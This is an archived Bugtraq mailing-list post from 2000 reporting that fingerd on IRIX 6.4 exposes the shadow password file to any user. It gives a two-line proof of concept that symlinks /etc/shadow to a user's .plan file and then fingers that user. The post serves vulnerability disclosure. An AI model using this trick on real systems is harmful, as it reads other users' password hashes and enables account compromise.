[14709] in bugtraq
fingerd
daemon@ATHENA.MIT.EDU (Psarras Nikos)
Thu Apr 27 14:38:35 2000
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.SGI.4.05.10004271354520.14265-100000@aetos.it.teithe.gr>
Date: Thu, 27 Apr 2000 14:06:06 +0300
Reply-To: Psarras Nikos <psarnik@IT.TEITHE.GR>
From: Psarras Nikos <psarnik@IT.TEITHE.GR>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
I am new on the list so i dont know if you knew that.
On Irix 6.4 with all patches installed the fingerd seems to like to
display the shadow file to all users.
>ln -s /etc/shadow /path/user/.plan
>finger user@irix64.show.shadow
This feature was found by a student -Zanikolas Serafim- while he was
reading a 9 years old system administrator's book.
Psarras Nicholas
